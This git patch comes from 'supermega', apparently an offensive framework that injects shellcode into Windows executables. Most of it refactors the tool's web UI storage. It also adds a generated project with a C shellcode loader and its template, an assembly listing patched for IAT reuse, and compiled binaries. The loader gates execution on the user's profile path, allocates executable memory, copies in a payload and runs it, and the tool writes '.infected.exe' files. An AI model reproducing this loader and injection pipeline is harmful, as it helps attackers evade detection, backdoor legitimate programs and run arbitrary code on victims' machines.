From 70eb0bf798435f2e9c63df5cd3f53041faaee37d Mon Sep 17 00:00:00 2001 From: Dobin Date: Fri, 29 Mar 2024 19:18:57 +0000 Subject: [PATCH] refactor: move working directory to projects/ for web --- .gitignore | 1 + app/storage.py | 57 +++---- app/templates/projects.html | 4 +- app/views.py | 40 +++-- helper.py | 11 +- model/defs.py | 3 +- model/settings.py | 16 +- observer.py | 1 + projects/.gitkeep | 0 projects/Verify_1/main.asm | 246 +++++++++++++++++++++++++++++++ projects/Verify_1/main.bin | Bin 0 -> 752 bytes projects/Verify_1/main.c | 67 +++++++++ projects/Verify_1/main.exe | Bin 0 -> 2560 bytes projects/Verify_1/project.pickle | Bin 0 -> 843 bytes projects/Verify_1/template.c | 65 ++++++++ supermega.py | 7 +- 16 files changed, 468 insertions(+), 50 deletions(-) create mode 100644 projects/.gitkeep create mode 100644 projects/Verify_1/main.asm create mode 100644 projects/Verify_1/main.bin create mode 100644 projects/Verify_1/main.c create mode 100644 projects/Verify_1/main.exe create mode 100644 projects/Verify_1/project.pickle create mode 100644 projects/Verify_1/template.c diff --git a/.gitignore b/.gitignore index 2f11bbf..bb6064b 100644 --- a/.gitignore +++ b/.gitignore @@ -10,3 +10,4 @@ data/source/payload/ log-* *.verify.exe *.infected.exe +projects/* \ No newline at end of file diff --git a/app/storage.py b/app/storage.py index 04a5d6f..a9e037e 100644 --- a/app/storage.py +++ b/app/storage.py @@ -1,50 +1,57 @@ import pickle import os import yaml +import pickle from typing import List, Tuple from model.settings import Settings from model.defs import * -class Project(): + +class WebProject(): def __init__(self, name: str, settings: Settings): self.name = name self.settings: Settings = settings + self.comment: str = "" class Storage(): def __init__(self): - self.data: List[Project] = self.get_data() + pass - def get_project(self, name: str) -> Project: - for project in self.data: - if project.name == name: - return project - return None + + def get_projects(self) -> List[WebProject]: + projects: List[WebProject] = [] + for project_name in os.listdir(PATH_WEB_PROJECT): + project = self.get_project(project_name) + if project is None: + continue + project.settings.prep_web(project_name) + projects.append(project) + return projects - def add_project(self, project: Project): - # data - self.data.append(project) - self.save_data() + def get_project(self, project_name: str) -> WebProject: + path = "{}/{}".format(PATH_WEB_PROJECT, project_name) + json_path = "{}/project.pickle".format(path) + if not os.path.exists(json_path): + return None + with open(json_path, "rb") as f: + project = pickle.load(f) + project.settings.prep_web(project_name) + return project + + + def add_project(self, project: WebProject): # directories and contents os.makedirs(PATH_WEB_PROJECT + project.name, exist_ok=True) - with open("{}/{}/settings.yaml".format(PATH_WEB_PROJECT, project.name), "w") as f: - f.write(yaml.dump(project.settings)) + with open("{}/{}/project.pickle".format(PATH_WEB_PROJECT, project.name), "wb") as f: + pickle.dump(project, f) - def get_data(self) -> List[Project]: - # if file does not exist, create an empty one - if not os.path.exists("app/data.pickle"): - with open("app/data.pickle", "wb") as f: - f.write(pickle.dumps([])) - with open("app/data.pickle", "rb") as f: - data_raw = f.read() - data: List[Project] = pickle.loads(data_raw) - return data + def save_project(self, project: WebProject): + with open("{}/{}/project.pickle".format(PATH_WEB_PROJECT, project.name), "wb") as f: + pickle.dump(project, f) - def save_data(self): - with open("app/data.pickle", "wb") as f: - f.write(pickle.dumps(self.data)) storage = Storage() \ No newline at end of file diff --git a/app/templates/projects.html b/app/templates/projects.html index 15e2653..17ccbab 100644 --- a/app/templates/projects.html +++ b/app/templates/projects.html @@ -11,8 +11,8 @@

Projects

diff --git a/app/views.py b/app/views.py index b44398c..016453c 100644 --- a/app/views.py +++ b/app/views.py @@ -19,7 +19,7 @@ from config import config from model.settings import Settings from model.defs import * from supermega import start -from app.storage import storage, Project +from app.storage import storage, WebProject from sender import scannerDetectsBytes from phases.injector import verify_injected_exe from phases.compiler import compile_dev @@ -38,12 +38,13 @@ logger = logging.getLogger("Views") @views.route("/") def index(): - return render_template('index.html', data=storage.data) + return render_template('index.html') @views.route("/projects") def projects_route(): - return render_template('projects.html', data=storage.data) + projects = storage.get_projects() + return render_template('projects.html', projects=projects) @views.route("/shcdev") @@ -124,7 +125,6 @@ def dev_build_route(name): @views.route("/project/") def project(name): project = storage.get_project(name) - project.settings.prep() log_files = get_logfiles(project.settings.main_dir) exes = [] @@ -169,6 +169,8 @@ def add_project(): if request.form['shellcode'] == "createfile.bin": settings.verify = True settings.try_start_final_infected_exe = False + else: + settings.cleanup_files_on_exit = False settings.inject_exe_in = PATH_EXES + request.form['exe'] settings.inject_exe_out = PATH_EXES + request.form['exe'].replace(".exe", ".infected.exe") @@ -193,16 +195,13 @@ def add_project(): project = storage.get_project(project_name) project.settings = settings project.comment = comment + storage.save_project(project) else: # add new project - project = Project(project_name, settings) - project.project_dir = PATH_WEB_PROJECT + "{}".format(project_name) - project.project_exe = request.form['exe'].replace(".exe", ".infected.exe") - project.settings = settings - settings.project_name = project_name + project = WebProject(project_name, settings) project.comment = comment storage.add_project(project) - storage.save_data() + return redirect("/project/{}".format(project_name), code=302) else: # GET @@ -231,9 +230,9 @@ def add_project(): ) -def supermega_thread(project: Project): +def supermega_thread(settings: Settings): global thread_running - start(project.settings) + start(settings) thread_running = False @@ -244,7 +243,22 @@ def build_project(project_name): project = storage.get_project(project_name) project.settings.try_start_final_infected_exe = False - thread = Thread(target=supermega_thread, args=(project, )) + src = "{}{}/".format(PATH_CARRIER, project.settings.source_style.value) + dst = "{}{}/".format(PATH_WEB_PROJECT, project_name) + + # delete all files in dst directory + for file in os.listdir(dst): + if file == "project.pickle": + continue + os.remove(dst + file) + + # copy *.c *.h files from src directory to dst directory + for file in os.listdir(src): + if file.endswith(".c") or file.endswith(".h"): + logger.info("Copy {} to {}".format(src + file, dst)) + shutil.copy2(src + file, dst) + + thread = Thread(target=supermega_thread, args=(project.settings, )) thread.start() thread_running = True diff --git a/helper.py b/helper.py index 9385282..e17c66e 100644 --- a/helper.py +++ b/helper.py @@ -13,15 +13,20 @@ logger = logging.getLogger("Helper") SHC_VERIFY_SLEEP = 0.1 -def clean_files(settings): - logger.info("--( Remove old files") - +def clean_tmp_files(): files_to_clean = [ # compile artefacts in current working dir "main-clean.obj", "main.obj", "mllink$.lnk", + ] + for file in files_to_clean: + pathlib.Path(file).unlink(missing_ok=True) +def clean_files(settings): + logger.info("--( Remove old files") + + files_to_clean = [ # temporary files settings.main_c_path, settings.main_asm_path, diff --git a/model/defs.py b/model/defs.py index 4d14c82..50957bd 100644 --- a/model/defs.py +++ b/model/defs.py @@ -10,12 +10,13 @@ VerifyFilename: FilePath = r'C:\Temp\a' # Directory structure PATH_EXES = "data/binary/exes/" PATH_SHELLCODES = "data/binary/shellcodes/" +PATH_CARRIER = "data/source/carrier/" PATH_PEB_WALK = "data/source/carrier/peb_walk/" PATH_IAT_REUSE = "data/source/carrier/iat_reuse/" PATH_PAYLOAD = "data/source/payload/" PATH_DECODER = "data/source/carrier/decoder/" -PATH_WEB_PROJECT = "app/projects/" # web only +PATH_WEB_PROJECT = "projects/" # Correlated with real template files diff --git a/model/settings.py b/model/settings.py index 848ef57..d4d21aa 100644 --- a/model/settings.py +++ b/model/settings.py @@ -2,7 +2,7 @@ from model.defs import * class Settings(): - def __init__(self): + def __init__(self, web=""): self.payload_path: FilePath = "" # Settings @@ -29,10 +29,20 @@ class Settings(): def prep(self): - self.main_dir = "data/source/carrier/" + self.source_style.value + "/" - + self.main_dir = "{}{}/".format(PATH_CARRIER, self.source_style.value) self.template_path = self.main_dir + "template.c" self.main_c_path = self.main_dir + "main.c" self.main_asm_path = self.main_dir + "main.asm" self.main_exe_path = self.main_dir + "main.exe" self.main_shc_path = self.main_dir + "main.bin" + + + def prep_web(self, project_name): + self.main_dir = "{}{}/".format(PATH_WEB_PROJECT, project_name) + self.template_path = self.main_dir + "template.c" + self.main_c_path = self.main_dir + "main.c" + self.main_asm_path = self.main_dir + "main.asm" + self.main_exe_path = self.main_dir + "main.exe" + self.main_shc_path = self.main_dir + "main.bin" + self.inject_exe_out = "{}{}".format( + self.main_dir, os.path.basename(self.inject_exe_in).replace(".exe", ".infected.exe")) diff --git a/observer.py b/observer.py index 7ca326b..e38ec18 100644 --- a/observer.py +++ b/observer.py @@ -16,6 +16,7 @@ class Observer(): def reset(self): self.cmd_output = [] self.logs = [] + self.files = [] self.idx = 0 diff --git a/projects/.gitkeep b/projects/.gitkeep new file mode 100644 index 0000000..e69de29 diff --git a/projects/Verify_1/main.asm b/projects/Verify_1/main.asm new file mode 100644 index 0000000..ea66fdb --- /dev/null +++ b/projects/Verify_1/main.asm @@ -0,0 +1,246 @@ +; Listing generated by Microsoft (R) Optimizing Compiler Version 19.37.32822.0 + +include listing.inc + +; INCLUDELIB LIBCMT + +; INCLUDELIB OLDNAMES + + +_DATA SEGMENT +COMM supermega_payload:QWORD +_DATA ENDS +PUBLIC get_time_raw +PUBLIC sleep_ms +PUBLIC main +PUBLIC mystrcmp +; EXTRN __imp_GetEnvironmentVariableW:PROC +; EXTRN __imp_VirtualAlloc:PROC +_DATA SEGMENT +$SG72751 DB 'U', 00H, 'S', 00H, 'E', 00H, 'R', 00H, 'P', 00H, 'R', 00H + DB 'O', 00H, 'F', 00H, 'I', 00H, 'L', 00H, 'E', 00H, 00H, 00H +$SG72752 DB 'C', 00H, ':', 00H, '\', 00H, 'U', 00H, 's', 00H, 'e', 00H + DB 'r', 00H, 's', 00H, '\', 00H, 'h', 00H, 'a', 00H, 'c', 00H, 'k' + DB 00H, 'e', 00H, 'r', 00H, 00H, 00H +_DATA ENDS + +PUBLIC AlignRSP +_TEXT SEGMENT +AlignRSP PROC +and rsp, 0FFFFFFFFFFFFFFF0h ; Align RSP to 16 bytes +call main ; Call the entry point of the payload +AlignRSP ENDP +_TEXT ENDS +_TEXT SEGMENT +i$ = 0 +str1$ = 32 +str2$ = 40 +mystrcmp PROC +; File C:\Users\hacker\source\repos\supermega\projects\Verify_1\main.c +; Line 58 +$LN6: + mov QWORD PTR [rsp+16], rdx + mov QWORD PTR [rsp+8], rcx + sub rsp, 24 +; Line 59 + mov DWORD PTR i$[rsp], 0 +$LN2@mystrcmp: +; Line 60 + movsxd rax, DWORD PTR i$[rsp] + mov rcx, QWORD PTR str1$[rsp] + movzx eax, WORD PTR [rcx+rax*2] + test eax, eax + je SHORT $LN3@mystrcmp + movsxd rax, DWORD PTR i$[rsp] + mov rcx, QWORD PTR str2$[rsp] + movzx eax, WORD PTR [rcx+rax*2] + test eax, eax + je SHORT $LN3@mystrcmp +; Line 61 + movsxd rax, DWORD PTR i$[rsp] + mov rcx, QWORD PTR str1$[rsp] + movzx eax, WORD PTR [rcx+rax*2] + movsxd rcx, DWORD PTR i$[rsp] + mov rdx, QWORD PTR str2$[rsp] + movzx ecx, WORD PTR [rdx+rcx*2] + cmp eax, ecx + je SHORT $LN4@mystrcmp +; Line 62 + mov eax, 1 + jmp SHORT $LN1@mystrcmp +$LN4@mystrcmp: +; Line 64 + mov eax, DWORD PTR i$[rsp] + inc eax + mov DWORD PTR i$[rsp], eax +; Line 65 + jmp SHORT $LN2@mystrcmp +$LN3@mystrcmp: +; Line 66 + xor eax, eax +$LN1@mystrcmp: +; Line 67 + add rsp, 24 + ret 0 +mystrcmp ENDP +_TEXT ENDS +; Function compile flags: /Odtp +_TEXT SEGMENT +n$1 = 32 +result$ = 36 +dest$ = 40 +envVarName$ = 48 +tocheck$ = 72 +buffer$ = 112 +main PROC +; File C:\Users\hacker\source\repos\supermega\projects\Verify_1\main.c +; Line 23 +$LN8: + push rsi + push rdi + sub rsp, 2168 ; 00000878H +; Line 29 + lea rax, QWORD PTR envVarName$[rsp] + DB 024H, 0d1H, 0b7H, 05aH, 004H, 04cH, 020H ; .rdata Reuse for $SG72751 (rcx) + mov rdi, rax + mov rsi, rcx + mov ecx, 24 + rep movsb +; Line 30 + lea rax, QWORD PTR tocheck$[rsp] + DB 01cH, 088H, 026H, 0deH, 0f0H, 0d2H, 0d4H ; .rdata Reuse for $SG72752 (rcx) + mov rdi, rax + mov rsi, rcx + mov ecx, 32 ; 00000020H + rep movsb +; Line 32 + mov r8d, 1024 ; 00000400H + lea rdx, QWORD PTR buffer$[rsp] + lea rcx, QWORD PTR envVarName$[rsp] + DB 06fH, 0c8H, 0f2H, 0e0H, 041H, 089H ; IAT Reuse for GetEnvironmentVariableW + mov DWORD PTR result$[rsp], eax +; Line 33 + cmp DWORD PTR result$[rsp], 0 + jne SHORT $LN5@main +; Line 34 + mov eax, 6 + jmp SHORT $LN1@main +$LN5@main: +; Line 36 + lea rdx, QWORD PTR tocheck$[rsp] + lea rcx, QWORD PTR buffer$[rsp] + call mystrcmp + test eax, eax + je SHORT $LN6@main +; Line 37 + mov eax, 6 + jmp SHORT $LN1@main +$LN6@main: +; Line 42 + mov r9d, 64 ; 00000040H + mov r8d, 12288 ; 00003000H + mov edx, 272 ; 00000110H + xor ecx, ecx + DB 078H, 00eH, 02fH, 0edH, 0fbH, 0c4H ; IAT Reuse for VirtualAlloc + mov QWORD PTR dest$[rsp], rax +; Line 47 + mov DWORD PTR n$1[rsp], 0 + jmp SHORT $LN4@main +$LN2@main: + mov eax, DWORD PTR n$1[rsp] + inc eax + mov DWORD PTR n$1[rsp], eax +$LN4@main: + cmp DWORD PTR n$1[rsp], 272 ; 00000110H + jge SHORT $LN3@main +; Line 48 + movsxd rax, DWORD PTR n$1[rsp] + movsxd rcx, DWORD PTR n$1[rsp] + mov rdx, QWORD PTR dest$[rsp] + lea rdi, [shcstart] ; get payload shellcode address + movzx eax, BYTE PTR [rdi+rax] + mov BYTE PTR [rdx+rcx], al +; Line 49 + jmp SHORT $LN2@main +$LN3@main: +; Line 53 + call QWORD PTR dest$[rsp] +; Line 55 + xor eax, eax +$LN1@main: +; Line 56 + add rsp, 2168 ; 00000878H + pop rdi + pop rsi + ret 0 +main ENDP +_TEXT ENDS +; Function compile flags: /Odtp +_TEXT SEGMENT +start$ = 32 +sleeptime$ = 64 +sleep_ms PROC +; File C:\Users\hacker\source\repos\supermega\projects\Verify_1\main.c +; Line 17 +$LN5: + mov DWORD PTR [rsp+8], ecx + sub rsp, 56 ; 00000038H +; Line 18 + call get_time_raw + mov DWORD PTR start$[rsp], eax +$LN2@sleep_ms: +; Line 19 + call get_time_raw + sub eax, DWORD PTR start$[rsp] + cmp eax, DWORD PTR sleeptime$[rsp] + jae SHORT $LN3@sleep_ms + jmp SHORT $LN2@sleep_ms +$LN3@sleep_ms: +; Line 20 + add rsp, 56 ; 00000038H + ret 0 +sleep_ms ENDP +_TEXT ENDS +; Function compile flags: /Odtp +_TEXT SEGMENT +kernelTime$ = 0 +PUserSharedData_TickCountMultiplier$ = 8 +PUserSharedData_High1Time$ = 16 +PUserSharedData_LowPart$ = 24 +get_time_raw PROC +; File C:\Users\hacker\source\repos\supermega\projects\Verify_1\main.c +; Line 7 +$LN3: + sub rsp, 40 ; 00000028H +; Line 8 + mov QWORD PTR PUserSharedData_TickCountMultiplier$[rsp], 2147352580 ; 7ffe0004H +; Line 9 + mov QWORD PTR PUserSharedData_High1Time$[rsp], 2147353380 ; 7ffe0324H +; Line 10 + mov QWORD PTR PUserSharedData_LowPart$[rsp], 2147353376 ; 7ffe0320H +; Line 11 + mov rax, QWORD PTR PUserSharedData_High1Time$[rsp] + mov eax, DWORD PTR [rax] + shl eax, 8 + mov rcx, QWORD PTR PUserSharedData_TickCountMultiplier$[rsp] + mov ecx, DWORD PTR [rcx] + imul ecx, eax + mov eax, ecx + mov eax, eax + mov rcx, QWORD PTR PUserSharedData_LowPart$[rsp] + mov ecx, DWORD PTR [rcx] + mov rdx, QWORD PTR PUserSharedData_TickCountMultiplier$[rsp] + mov edx, DWORD PTR [rdx] + imul rcx, rdx + shr rcx, 24 + add rax, rcx + mov DWORD PTR kernelTime$[rsp], eax +; Line 13 + mov eax, DWORD PTR kernelTime$[rsp] +; Line 14 + add rsp, 40 ; 00000028H + ret 0 +get_time_raw ENDP +shcstart: ; start of payload shellcode +_TEXT ENDS +END diff --git a/projects/Verify_1/main.bin b/projects/Verify_1/main.bin new file mode 100644 index 0000000000000000000000000000000000000000..0f0c85eb7554930b08be7ab1a2cd5703bfaca919 GIT binary patch literal 752 zcmXw1UuaTM7(dS2bYj!i%OwWg;1EK=wDn-jz!OGaVxS^Ug;pXJMB!Ky1{qBxQVu@$ z6um`Hfp6&?!M!MK27wzH(L+e};Bup_UV_DL-?6(3=icA2_aC9 zQ74o`)C$FIc}=3|Bao3O@DNoTHHke@7yXA0m*JQ?bPO4gu_HZ3F=`LaXp5G*36l)$ zT%x*Kmgt~5twOOSH{-KV*j})Xdue=XXTJrQ#kCfo3WmwR#t~uL_%7tBB8ZPpLIzF9pd!OLp>pv#avg6ZOG&Z~ z-s?C!j#y}k*>21=4LQC26UY*o`o|EQK`;}b{s$w2pD2g7iHf@b3tJ^}@K^vRHU9^) zA^>*c-CLS3N&an^%M=cn<=4pdReeFxlClNC) z;k6D+u*6(4g`Xr#p&$y2>OC}4z$dn5af8>PA^s-uK&4_r%o-k^eX4g?55~{^V2xML j-oDVgVrt)L-nP8o%N<$0a(p3smn2#Fv);|5?`6n84kHk8 literal 0 HcmV?d00001 diff --git a/projects/Verify_1/main.c b/projects/Verify_1/main.c new file mode 100644 index 0000000..3a2d2c4 --- /dev/null +++ b/projects/Verify_1/main.c @@ -0,0 +1,67 @@ +#include + +#include + +char *supermega_payload; + +int get_time_raw() { + ULONG* PUserSharedData_TickCountMultiplier = (PULONG)0x7ffe0004; + LONG* PUserSharedData_High1Time = (PLONG)0x7ffe0324; + ULONG* PUserSharedData_LowPart = (PULONG)0x7ffe0320; + DWORD kernelTime = (*PUserSharedData_TickCountMultiplier) * (*PUserSharedData_High1Time << 8) + + ((*PUserSharedData_LowPart) * (unsigned __int64)(*PUserSharedData_TickCountMultiplier) >> 24); + return kernelTime; +} + + +int sleep_ms(DWORD sleeptime) { + DWORD start = get_time_raw(); + while (get_time_raw() - start < sleeptime) {} +} + +int main() +{ + //sleep_ms(10000); + + // Execution Guardrail: Env Check + //wchar_t envVarName[] = {'U','S','E','R','P','R','O','F','I','L','E', 0}; + //wchar_t tocheck[] = {'C',':','\\','U','s','e','r','s','\\','h','a','c','k','e','r', 0}; // L"C:\\Users\\hacker" + wchar_t envVarName[] = L"USERPROFILE"; + wchar_t tocheck[] = L"C:\\Users\\hacker"; + WCHAR buffer[1024]; // NOTE: Do not make it bigger, or we have a __chkstack() dependency! + DWORD result = ((DWORD(WINAPI*)(LPCWSTR, LPWSTR, DWORD))GetEnvironmentVariableW)(envVarName, buffer, 1024); + if (result == 0) { + return 6; + } + if (mystrcmp(buffer, tocheck) != 0) { + return 6; + } + + // Allocate 1 + // char *dest = ... + char *dest = VirtualAlloc(NULL, 272, 0x3000, 0x40); + + // Copy (and decode) + // from: supermega_payload[] + // to: dest[] + for (int n=0; n<272; n++) { + dest[n] = supermega_payload[n]; + } + + + // Execute *dest + (*(void(*)())(dest))(); + + return 0; +} + +int mystrcmp(wchar_t* str1, wchar_t* str2) { + int i = 0; + while (str1[i] != L'\0' && str2[i] != L'\0') { + if (str1[i] != str2[i]) { + return 1; + } + i++; + } + return 0; +} \ No newline at end of file diff --git a/projects/Verify_1/main.exe b/projects/Verify_1/main.exe new file mode 100644 index 0000000000000000000000000000000000000000..c95258b83860479a3b904e54917d07c8d9bd50e0 GIT binary patch literal 2560 zcmeHHUr3Wt6hFF;HchuxFCzr6af?AP1q~z#HkxsZiK4SVCgt3gN^O(*8Dd6_Q8>N^ zz1L&!_8>WhU}FO<5HWf#A9`5K$m+!i`a0*^_o)w2zSu)}wtMgS^SkGsbMF04N8e*G z0f2-Tk99BFk7|Ukg4!3H~5D~#@J{)HWUv;STGQc#$+}aX7TYT z8;LS+XAg_SLSa{JZ8g_jzwABr{(H;SN5)v0y`0`ed1dyBwswyMhskC{($x+SdT4@< zBjy{1ZUc_N!Ak3Ks6-7VLS)wmrczU&HukSK3N0PWXEXSU=WCIhmY zl>yZ42DeL$OAb%Sh+U)PD7Kxs>pmF3fGZvf$N_+-q(g;<+e)64SRnkn$}ngpMH3G4 zXCYym+yL2aX`lNaDj<>{Hi{9b>j5y^GOqNIJGA}Dd8_&Br8NuCE;*=;DC zx}wogXb2IkLAalzwdO)wPBv%gb(U%riL2R^#7i^HS&=L_@)s|O#QFq2FOl~0CcZk? zC;6CAHihzK-ho@bJtKptn?CVw4q>Fb&&mGW|)oZ=kD z%^7;#r8|TWgcvP0sH%#=>z06L-i-+KgU@`yjuAG$ny@y0`cV+*#kuI^49!rgR*=K6 zaZXHeM!>uEB8Z|0Vnwt(Mf%JW#M)j+=4q+Aw5($8m|~(pxm~}O*UQ;jJc=mtR6K;t zNo3l*+&xxV`i$jh&11!#0uQ!G@bexqc5W&&4n_<{VpkxyW}&;VC{?zZB_*e1NpdJv z6p2MSENnBcMed_Rm~vQZ1urgHaOUy2zmm~QYY{n&qlMwXD$-5Bef<57u;)k1yb(_q|;%s zPoT^t7F)u{TkRC5zBDc{(yy{byd-PWI*z2yi(pxMA|0a-ZM-GNm!-S{{&li&pj*yF zY9Cz9gEX4%6V$;q)<_*XwI`c~B${QDpX@J!l742L;kdH21qx}odjwO56rcTvA$391 zqUfku(>3F!sz3`yWJ~;Yy!);FM09&hvyn4E!VCHeiYDs#EI+-D54l3nwIx)cXGV9$ z>34ka4}vS1o1ZRGql179e8mc9D#mktpY|p1(u5N*-pKRqPby! + +#include + +char *supermega_payload; + +int get_time_raw() { + ULONG* PUserSharedData_TickCountMultiplier = (PULONG)0x7ffe0004; + LONG* PUserSharedData_High1Time = (PLONG)0x7ffe0324; + ULONG* PUserSharedData_LowPart = (PULONG)0x7ffe0320; + DWORD kernelTime = (*PUserSharedData_TickCountMultiplier) * (*PUserSharedData_High1Time << 8) + + ((*PUserSharedData_LowPart) * (unsigned __int64)(*PUserSharedData_TickCountMultiplier) >> 24); + return kernelTime; +} + + +int sleep_ms(DWORD sleeptime) { + DWORD start = get_time_raw(); + while (get_time_raw() - start < sleeptime) {} +} + +int main() +{ + //sleep_ms(10000); + + // Execution Guardrail: Env Check + //wchar_t envVarName[] = {'U','S','E','R','P','R','O','F','I','L','E', 0}; + //wchar_t tocheck[] = {'C',':','\\','U','s','e','r','s','\\','h','a','c','k','e','r', 0}; // L"C:\\Users\\hacker" + wchar_t envVarName[] = L"USERPROFILE"; + wchar_t tocheck[] = L"C:\\Users\\hacker"; + WCHAR buffer[1024]; // NOTE: Do not make it bigger, or we have a __chkstack() dependency! + DWORD result = ((DWORD(WINAPI*)(LPCWSTR, LPWSTR, DWORD))GetEnvironmentVariableW)(envVarName, buffer, 1024); + if (result == 0) { + return 6; + } + if (mystrcmp(buffer, tocheck) != 0) { + return 6; + } + + // Allocate 1 + // char *dest = ... + char *dest = VirtualAlloc(NULL, {{PAYLOAD_LEN}}, 0x3000, 0x40); + + // Copy (and decode) + // from: supermega_payload[] + // to: dest[] +{{ plugin_decoder }} + + + // Execute *dest + (*(void(*)())(dest))(); + + return 0; +} + +int mystrcmp(wchar_t* str1, wchar_t* str2) { + int i = 0; + while (str1[i] != L'\0' && str2[i] != L'\0') { + if (str1[i] != str2[i]) { + return 1; + } + i++; + } + return 0; +} diff --git a/supermega.py b/supermega.py index 1183052..5d05969 100644 --- a/supermega.py +++ b/supermega.py @@ -96,6 +96,7 @@ def main(): settings.inject_exe_in = args.inject settings.inject_exe_out = args.inject.replace(".exe", ".infected.exe") + settings.prep() exit_code = start(settings) exit(exit_code) @@ -103,16 +104,15 @@ def main(): def start(settings: Settings) -> int: """Main entry point for the application. Will handle log files and cleanup""" - settings.prep() - # Delete: all old files + clean_tmp_files() if settings.cleanup_files_on_start: clean_files(settings) # And logs observer.reset() - # Do the thing and catch errors + # Do the thing and catch the errors try: start_real(settings) except Exception as e: @@ -121,6 +121,7 @@ def start(settings: Settings) -> int: return 1 # Cleanup files + clean_tmp_files() if settings.cleanup_files_on_exit: clean_files(settings)